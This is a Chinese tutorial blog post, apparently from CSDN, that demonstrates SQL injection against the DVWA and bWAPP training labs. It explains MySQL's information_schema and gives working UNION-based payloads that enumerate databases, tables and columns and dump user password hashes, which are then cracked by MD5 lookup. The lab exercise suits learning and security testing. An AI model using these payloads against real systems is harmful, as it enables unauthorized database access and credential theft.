sql注入dvwa和bwapp实战

2 篇文章 0 订阅
1 篇文章 0 订阅

先来了解一下数据库
默认会有四个库
information_schemamysql:保存账户信息,权限信息,存储过程,event,时区等信息performance_schema:用于搜集数据库服务器性能参数test这里主要介绍
test
information_schema库
information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。感觉information_schema就像是MySQL实例的一个百科全书,记录了数据库当中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。
几个重要的表和字段:
SCHEMATA表存储用户的数据库库名,记录的值位于SCHEMA_NAME列。
在这里插入图片描述

COLUMNS表存储着数据库的库名、表名和字段名。对应的字段为TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。
在这里插入图片描述

USER_PRIVILEGES表存放用户的权限GRANTEE

在这里插入图片描述

TABLES表记录着数据库名和数据库下的表名,TABLE_SCHEMA、TABLE_NAME分别记录着数据库库名和表名。
在这里插入图片描述

在不知道数据库结构的情况下,可通过读取这些表梳理个表之间的关系,一般的步骤为。

SELECT
schema_name from information_schema.SCHEMATA #查库

SELECT
TABLE_name from information_schema.TABLES WHERE TABLE_schema=‘库名’ #查表

SELECT
COLUMN_NAME FROM information_schema.COLUMNS where table_name=‘表名’ #查列

SELECT 列名 FROM 库名.表名 #查数据

几个小技巧

所有类型的SQL注入,都是基于查库、表、列语句(包括不限于URL中,Header头中,body中)

如果数据太多,导致无法返回结果:使用limit限定返回的数量和位置,依次查询,或使用concat连接多个数据成为一条返回结果

某些场景下,想要快速获得数据,借助工具,如:BurpSuite

一、dvwa sql注入实战

级别low

1、猜列

一开始输入17发现找不到最终12 1‘ union select 1,2# 成功,有两列
在这里插入图片描述

查看版本 1’union
select database(),version()#

1’
union select 1,concat(@@datadir,@@basedir,@@version_compile_os)#

2、查看库

查看information_schema库的SCHEMATA表

1’union
select 1,schema_name from information_schema.SCHEMATA #

共有六个,接下来就以dvwa为例注入
在这里插入图片描述

3、查看表

1’union
select TABLE_SCHEMA,TABLE_NAME from information_schema.tables#

可知dvwa库有两个表users(我们的目标),guestbook
在这里插入图片描述

4,查看字段

1’union
select concat(TABLE_SCHEMA,TABLE_NAME),COLUMN_NAME from
information_schema.COLUMNS where table_schema = ‘dvwa’#

找到了users表下的user和password字段
在这里插入图片描述

5、查看字段

1’union
select user,password from dvwa.users#

找到ID:
1’union select user,password from dvwa.users#

First name:
admin 正是我dvwa用户名

Surname:
5f4dcc3b5aa765d61d8327deb882cf99 将MD5值复制去https://www.cmd5.com解密

:password
在这里插入图片描述
在这里插入图片描述

接下来是medium级别

打开hackbar
在这里插入图片描述

在post data选项操作即可

将id=1&Submit=Submit修改为id=2试试,成功

接下来在post
data选项执行注入语句试试
在这里插入图片描述

注入刚才low级别最后的语句试试,在post data输入id=1 union select user,password
from dvwa.users&Submit=Submit 点击Execute,成功
在这里插入图片描述

high级别,在弹出的框里输入刚才最后的注入语句试试,1’union select user,password from dvwa.users# 成功
在这里插入图片描述

二、bwapp注入

级别low

选择sql注入
在这里插入图片描述

查看列最终得到7列

1’union
select 1,2,3,4,5,6,7#
在这里插入图片描述

操作和dvwa一致,需要凑够7列,但是默认显示5列,而且最后不能为数字,所以需要将语句与数字配合使用

这里直接查看bwapp库的表和字段:1’union select 1,1,table_schema,table_name,column_name,1,1 from
information_schema.columns where table_schema=‘bwapp’# 成功,发现login和password
在这里插入图片描述

查看字段1’union
select 1,login,password,1,1,1,1 from bWAPP.users# 成功
在这里插入图片描述

然后解密MD5值即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

水到渠成~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值